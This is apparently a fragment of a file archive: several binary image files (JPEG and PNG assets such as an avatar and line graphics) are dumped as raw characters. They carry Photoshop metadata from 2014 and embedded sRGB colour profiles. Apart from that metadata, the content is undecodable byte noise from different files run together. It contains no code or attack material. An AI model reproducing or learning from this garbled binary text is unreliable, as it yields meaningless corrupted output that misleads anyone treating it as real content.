ht�6�e�z�kG�t�ѩ,�i6?�˟���o�A�$�2ӌ�I޲��R�yL|1�sو�+����O?1#���ĝ���bS��l���y$�����r�9Ng�R<R'�RI$��$�I)I$�JRI$���I$�$�I)��T�ʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�����Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMIa�
Untitled-2�anullboundsObjcRct1Top longLeftlongBtomlongaRghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongaRghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM~�a���b���Adobe_CM��Adobed����			



��a�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�T�I%)$�IJI$�R�I$���L��q�2��M@'��=ձ��+G=��1��uV
�c�潺�F���wo��c�F�����Yl̊+x��k]�m�1䜌�A3
��:�-�1�_rx!�q�Iz�����I)�$�I)I$�JRI$���I$���T�I%)$�IJI$�R�I$��ߩ��*-:�#�l�?�Z��l̪G��,g���U��^��}���?�0j�i#ƷY�T�F�fa���̫,h=�c���U\R��<}�r�(��1�����_���'��Jӎ��I%)$�IJI$�R�I$����T�I%)$�IN\��WG�?���Tg�[�h��{he�n�o�-��[z�O��}a�2��z�h�i�s�x̿d�l�-���>��e�/�7ct���Qx�y��}�m_�g�/k�S��g�����}�����ي��n�!�ݻ�'���l�=+��/w�][���;wn��-�m����k����+��a�k�����c~����ڧ��̌l��
�]FV�o��DZ�{�V������S��'㎍S,�y�4�;��gk�~��z(�s��"��lk��{��s]v����_����8�8V�e��-�Ǜ{I�,�n�ko�!t�ܦ[ӭƿ��Q`��^�M#u~�/��&6��7��P�Df9l��M�F\�yA)��'�~����X���N���/_��V�\������1��e�{�:�MvS����
������s�0~�ͬT��c��_e�����=����S�k���98o�<����ޝ��02Y�I�[e������Y^�3J�B������d�n���Ԝ���E�w�m�
c�܍g�γoU��/�}�t���m�K*�Cs=���b�0�iq�����W��U�G�;��U�Yj��׿dcc�[G�NC�]��Ϳ�I�4��H�F���I$���I%)$�IO��T�I%)$�IO=��]�Ӻ��잫u��c$�.n�3�ֻس(�����+3'��O�v��y����~�[n�w.�$��P��>��ʝ����y�c����VC?3�u��o��CzNfGXϢ��ղ���Zך��C�:q۵��k?yz�z�����E}:�N"� ӿ�N�
j<��9��#�G>I{��(���7�#��֓g��Zɳ��̪rj�
�xfc�=;d?)�ne�iQ���Kp��G#ޝ���l�6��6��w�-�E�����˱0���K
/!�v�,|���
�l���Y��4����1)�5��F�o/��9�hL�K�����G��Q��e}R�.\�F�d����̱�s����Az.N9�����~;�e��%�5������[�eg�a�SWB�O�m;�{�Z��N����W�I�=���m�g��U��Բb,�M���S���p�3��ss5��@�,��C۔�	K�]N��3��F[̡�3���q���o�6۷��ƭ���2zX������[]�5�����w������ީԺ��_8V��n�~3eky�V��h{:���A���K`�\ d<�|�����nb����	.a��p�N��u\V���ho�9�5�:�ө!>+����M<�=�2C,eu,g�z2��I'��$�IO��T�I%)$�IJI+/��d�*��.{�%9�}i��s��%RK�m�5�K���{�%0
o#���b��&.8�3?���9���������S��r&�c��Y�Z�ϋ����^���f`u���,���s���\
֯��fΕ����GW��w��߀��
zg!��aF�������`"sd����D�?��ᗣ��8u}N�^����z��ߐ�u��v�ll,F�Ţ�G��R���p���s��9��$�?v�H|�I$��\~��S�u_e�O6��w���;�LY-����=#������@�����K�IE,�o��x�O���/�sX�2q�7��'˱�Y麪��Q��=�w�ɱ�[�ү���B���M�,ղ��pޤ�x�<��^�|Cc���I'�)$�IO��T�I%)$�IOM�[z�q-�=�@�<��*�إG�V����w��A
��ѧo�?�=?��n����q�~u�X��u
ht�6�e�z�kG�t�ѩ,�i6?�˟���o�A�$�2ӌ�I޲��R�yL|1�sو�+����O?1#���ĝ���bS��l���y$�����r�9Ng�R<R'�RI$��$�I)I$�JRI$���I$�$�I)��T�ʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$�ꤗʩ$���8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-26T00:12:19-08:00" xmp:MetadataDate="2014-01-26T00:12:19-08:00" xmp:ModifyDate="2014-01-26T00:12:19-08:00" xmpMM:InstanceID="xmp.iid:783580ad-875b-9e41-8d59-b3d650af8b3f" xmpMM:DocumentID="xmp.did:e8bf9834-7d47-f743-afa0-f9eb796eeac8" xmpMM:OriginalDocumentID="xmp.did:e8bf9834-7d47-f743-afa0-f9eb796eeac8" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:e8bf9834-7d47-f743-afa0-f9eb796eeac8" stEvt:when="2014-01-26T00:12:19-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:783580ad-875b-9e41-8d59-b3d650af8b3f" stEvt:when="2014-01-26T00:12:19-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed���		





��a������	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�N*�Uث�Wb��]��c�ןt=/]��XMw���[*�(n���4QO��}��1�j��s�v�^�͛��a��?��"RG�>c���
��)��h/-'^C"�˨$o�,���f,�w]mf�zr8��q��8}!��-p݊�v*�Uث�Wb��_��N*�Uث�Wb��]��x����#e2��p��6T������B���]��m4Sm�]CS�p�����O��|�:.m#����x���=$1��I�����O�!ֻv*�Uث�Wb��]����N*�Uث�Wb��]��x~����!ln�z��{@m��c4y}:����_B�~����>/�W?��~�n��V�Mc�����
�xN�G�i�3i�1c�\�R�62���2�\Gb��]��v*�Uث�W��N*�Uث�Wb��]��x���:��
�Q�2�($��I�Iڱ�f?/�{�dÛ�����3���}WG�u�B�U�..[r#
��_�q����)�>e�I�aˏ�#��;�)��g9���]��v*�Uث�Wb���N*�Uث�V��k_*y��^��܍e�\���rL�$��[�go�O����U��Y����6���٥��u[�19Q`I
B�-��⫿5|�q�*����K�>���#��&n%��1V?�96�<�m�-�ѭu�U�C����㚾�#��޿ظ��R#��<�?��\�-t�!hd��`��Q$S1�\�|E�o��v^K�_�j��M����e�'G��I�����'j>c6�]����n~�3$����>_g6O*�l?95[k�4�6yi�]RM>�S��.c���;h�g�H�=98�u
��	��zjo��y��/�y��i��W)u����ThyS�7�Պ�2�9�y�]м����+�ΐ\�~��ڦE䇄�ލћz|e�5.�X�YkZ⸡�Uث�Wb���N*�Uث�W�_�~i�י0��(5[m.�A��y-g�� �d�7+�Y~��\~a~e�o���4�/�|�0��ky&�v�zEUe�e�^}��Z;X��o�\���w�����w2[�����b�b��J��d�j~��o#�닻
S�.4���3�w�D]�̱��
�y��	�t��n��7QѮua�)�)�X�'R~�Knj����̿g���AR��5�t�2�. a��
�}oU��˗:}�����W����nM�2[��=�zD��1�x~���"/��)d���R<,��_O�O��}�ѯE�s}VX&RY=7���V4�js�+�?��,ra<r��d8eL�Z���3�|��%<��ysB�"Ӭ�t���[�7��s���k����8�����`�6���ZP8���U��U��G����@�՗�3}3BQ��8�����_@��~��ث�Wb��_��N*�Uث�W�yC���O�,��m�3^^�\Of@�i������K�����ѣ򮭢jzh�F�c.�{����.,�VxhQV^P��E�ߵ�ʨi���i�Ѥx��W�5��&��_�o蹙#Yb�@*�V�����R�;�Z_��=f��z�����ѪYOyuLm���7�
��y]�*~%U�<���˞���r�zڙp���q'��ν�
N���s�l�K�"]#Ft2�
��!�g�gS��%����J9��g�f8W�*v���:-����CI��G��1G:�#���/²���?����:�8��k��=�=a�;��?����f1[ygT����K��e}s��	�Rj����<YG����U����<���^Ƕ;'h��/���O���_�_E�:sj~O��m&��O���yDL���-j�5�7�����D��C�tɏ9\��:'�u�9����Im��:9��"Lf�Yx�+S�_��P���GB��5�����W6��Gnh���	9*ymĶ(fx��Wb��]����N*�Uث�Wb��]��/�R����m�Z1mH,���h�z�Q���E��c8��!���K轟�}�s��O�:��<��not�&�
����D���*���a��(�nxC��\��d���8��5?Ο"��a���S���M%O�7?�[0��8���U�i���L\�qG��\?�Ra�p�u�=�[o"ܒ���t�#'����|U���Q9�1��I�vf�gO�Z�O?�F�ܱج?9���3[��i�]#���݊���X|9�!�������Y�'�rT�e�w�a�?�q��~i��[ӽ��iLh!�j|)"p��,���<��p�v~
.��x�tO�	qM�G�m��K���d?/��<���s�˷t@��@���k���ĉs5�>gґ���/��2l��nR��
N-�ŏ�$�^���I��%�K��_�Y鹳yb��]����N*�Uث�Wb��XO淝��ו�ki�;�V�@��O��?���j|<{}R�^����:�H���������a_�^@�;�n-���"�BM%Ȉ�|�R���% ��0�Z\�6��w�ݳ��nBZ��������O��2����]k]k��Zk���k]�x��ܳ2=���W��H�,��jk������4�F�&�c��JC'�Tˆ(��:\����䔧�y#rn;�V!�Oʟ$����X�k���ZE��`�d���C�'1G�.�C��M�e��d��ǿ�18�'|ߡ�o*��Kx��y�*}<K�Ȭ������K�m.���?·�2�f��/��K�[o2���;\z�S��Ĉ���Q�a��_˓8 NB���}�<��ӄ���30?��Q�g.?�;6�"�Uث�W��N*�Uث�T.����M�����mi�����Ğ�2� .F�v�O�4�1�9ˣ��uo8E6��I�y&�3��wW���y�� ������Q�,Ë��#�4��b�9t��$cju������?�r�[��X��_����z>V�¬V�Q(O�������'5�����N��OI��;+E�|Z��T��?�'�q�0{��3�|�ث�Wb��]��C���7�\²��P�n��t���mǞp�V��5;v*�U��N*�Uث�W�3]~iy�[wvO(hOW@H�H��1V�R�I��-���e���dh��������)�by���:������K@�԰�zt�xiWo�߳�P��9d1c�bϱ;::<g[��T8��W��r���;+h0iv�/�s=(����s��~���O�b�x����3��2?̇�S̽�;v*�Uث�Wb��]��v*�U��N*�Uث�W�^~O�����ˍ#J���wd�����%�H#����.k��	F_�8���Fy�C>\c�8��z��&E��!hR�h����J�/%��Jv��W��̍>�����_jv�}l�!�����?��2<�uN�]��v*�Uث�Wb��]��v*���N*�Uث�Wb��]��v*�Uث�Wb��]��v*�Uث��images/line@2x.png000060400000002061150710775200010017 0ustar00�PNG


IHDRx|X���IDATx^��Mh\U��N�,�R��,���J�+�2C[6�f��2 XBf���nŏ�I&_N[h5�A%!N?�6ӂX�d���V�m���]\p�gΝ{��b�?x�EV'/a8����T#k�'x	��m�3��
��C-��8��ЃZ^؉cx��!�Ex]?FB5W�	����#��ׅЅG�um8�j��=h)��ʁ�q�0�1r�Ha�ʑ�����ǸQDpm�v"�h�#G�*4�@�K���@�&�PA�2��N!	i��n�����D��� jQTc.q�_����a�ڸ���Q�%�&����p^7�7*��OTzat@�y��%�i�ʑ	�\}��IdQ��1�����f��Ѣ�aE��q	�\+�P-������CH��qCx-��&PiSH���Pr䰫K7op�C��ւ���"��tI)�q\��8�D m��i��:�]^�K7�����x; �		4@�uLbCX��"qS�q�57���l3r�S�bX���r���N<�6ئ��nų�S�2&��+�Y���n;>�f0�.ۈi살���O��+q�Yø�xu`�]�	4A�]���(0P����3xL�˞)|�� �%�ں�g��~0�.{��!C��	,�/�G���,nC�c����E��>t�8�a��]�?P��B�&q�<pR���"�`?~C�Kc
�����m���-�����NbT�KH؍|me~���q�qcB�9�j�?�.n��s%�+3n�e���w<�I�6�W`k{����@d&D�?�������%�y�^E�4Ɗ~�}B����V�4ބjSH[�W�ep#�
�c�?[��L�a)�nE�QoL���E���Sx�j2��PĽ�����mx�y|�u�C�y��(�ʑ�p��#�����	,K��Wv� �=|h�#�aUz��K�/;!`	#�$�l�!7�sV����^֎���ێ���`�5����� p �?�� �G�I[IEND�B`�images/avatar8.jpg000060400000031626150710775200010071 0ustar00����ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:29 04:55:34��,�,&(.�HH���Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��a�cꖊ��	f;?5�������޽�t瞛�fN=u�̋�?��4s��7g��r�) 
�ˆ6K�w�����[�e���H�iUg��ݴ
�i�ޏ��E���C5s0@���
޸�3=,a]t��Yc��Y�����̦#�S}I�ȷ�;,;�����e��o���WE�a��GS�
z��ÿ��n�l�[�����ZS�xsH?0���)�0�{�[�$:%��xl�g�.��-ת"�2���폻��E�@f|S���V.>;�:�}&�KZ�X��ӎ���ߴ5�m��ah�w��t�Q�˝�]�[_�rY����˘�q}O{^��y���bQ{���r\�p���{��[ؘ$h�f�cл�tOR~@h
��w��{O��Z��`�����rT��Z�^�{z_�����U���4n,f���G����}m�uKF�q���ǝ�ܫ�?�z��ԙo�=Yݻo��nܕ?fݝ�=#��~�o�~��7�Y0�n݉�s�؆[_��~��G�+�M/mmcj� ˚ؐ#n�r5}�q���zS���?�]J�w	������ϕ�4ѷ>*��huF��D��W�?j��a�w��1�Y���?�e��޿��Z��h����
�Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM
8BIM08BIM-8BIM@@8BIM8BIMI,,
Untitled-1,,nullboundsObjcRct1Top longLeftlongBtomlong,Rghtlong,slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong,Rghtlong,urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM�,,������Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��a�cꖊ��	f;?5�������޽�t瞛�fN=u�̋�?��4s��7g��r�) 
�ˆ6K�w�����[�e���H�iUg��ݴ
�i�ޏ��E���C5s0@���
޸�3=,a]t��Yc��Y�����̦#�S}I�ȷ�;,;�����e��o���WE�a��GS�
z��ÿ��n�l�[�����ZS�xsH?0���)�0�{�[�$:%��xl�g�.��-ת"�2���폻��E�@f|S���V.>;�:�}&�KZ�X��ӎ���ߴ5�m��ah�w��t�Q�˝�]�[_�rY����˘�q}O{^��y���bQ{���r\�p���{��[ؘ$h�f�cл�tOR~@h
��w��{O��Z��`�����rT��Z�^�{z_�����U���4n,f���G����}m�uKF�q���ǝ�ܫ�?�z��ԙo�=Yݻo��nܕ?fݝ�=#��~�o�~��7�Y0�n݉�s�؆[_��~��G�+�M/mmcj� ˚ؐ#n�r5}�q���zS���?�]J�w	������ϕ�4ѷ>*��huF��D��W�?j��a�w��1�Y���?�e��޿��Z��h���8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��khttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-29T04:55:34-08:00" xmp:MetadataDate="2014-01-29T04:55:34-08:00" xmp:ModifyDate="2014-01-29T04:55:34-08:00" xmpMM:InstanceID="xmp.iid:8d9143e9-b084-8242-8070-184d463ab4ea" xmpMM:DocumentID="xmp.did:e4b05d65-2daa-cb4d-bd40-5ceac98b9b7a" xmpMM:OriginalDocumentID="xmp.did:e4b05d65-2daa-cb4d-bd40-5ceac98b9b7a" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" dc:format="image/jpeg"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:e4b05d65-2daa-cb4d-bd40-5ceac98b9b7a" stEvt:when="2014-01-29T04:55:34-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:8d9143e9-b084-8242-8070-184d463ab4ea" stEvt:when="2014-01-29T04:55:34-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>62E2EE3BC8AA8E474FF46071B1390BE8</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
��,,"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�#8���Κ�����+H�؍+���<�A�zg*�e:%���p�$�w3f$
��QBN��Ny��<�l]1K�ʙ�-(��	+̊�B����_�ڜ/�G2ԯ�:ߗ�̺�{[�O��GVx�n$��!���W�P����
�l�K?&�)�J�c�)��������'��S��K�F�}kI+65��C�8�ɞ�ȟ��[]kW�>��E_�#�%���|;����g���3��	cm�є���C���Z-���K"�ǒ)rz)=(x���1� ^g���H���&?U)��l��l���)�a߿�5��-ѵ�'���5�A��:�����ˤY>��đhՑ�(*�f�}��V�^�
ƥK�^�	��7���8�5�N��O�Y?i0�.�e��ӭn�K�<*^�<�\rX�tg_��&V$h�=�&p�I[Ҽ�v�l�-�@BR��u>�DㇵW�
B�԰�>8e\��>��Fw�������:��e�d^mg���Gµ�s���K�YY�BZ/&U����[�����Z��Y�F����\��ϟ��\�����T��ޞC����������;_&�=x�4�����.�F���	=&֏B+F�U�J[�IKCut����S�'a�9�?�y��Y�+��92�>��W��)��Z��߮c��6��2q��`y���[4
~�N#���g8�����&����z�c�3Z���ɇ��R��?���^9��?U����images/blue.png000060400000002756150710775200007460 0ustar00�PNG


IHDR�`���IDATx^��ohUu��әՌ��%!IN�,��!&%�U��O��'�PH��I��A�$a�L�5uj�!�E��S����%:	o��[�8._�9�v��;�/��y3_�e��;ϴ�v�f:`<��t�>��ۡ⇇)Il}KZ�C�wu�=�z�L@��	���#�����ڟ�R�B�W�G�;�e�c�ߴ��_so���b�$q�,I�I��>�k��/�Hg�c���^�,�����4�
�W�k��X��
�C:-X�ڐN��#Q�n;��	x�S�vc����A��)O^o]Z]]<���A�QtYu��JԆ.t�6]�Mƺ1�㕰%�B�[���.����b�k@Y��cwB�]c���H�j2֝��=�N��Luc(��1���q��x�]��]�֢R�c	�e�a�w���j��dI4a#V�FK�eS�{���(���2�U���,��Xmm(E�!�:V�6�\�����U��a��^�ԡ	iձ
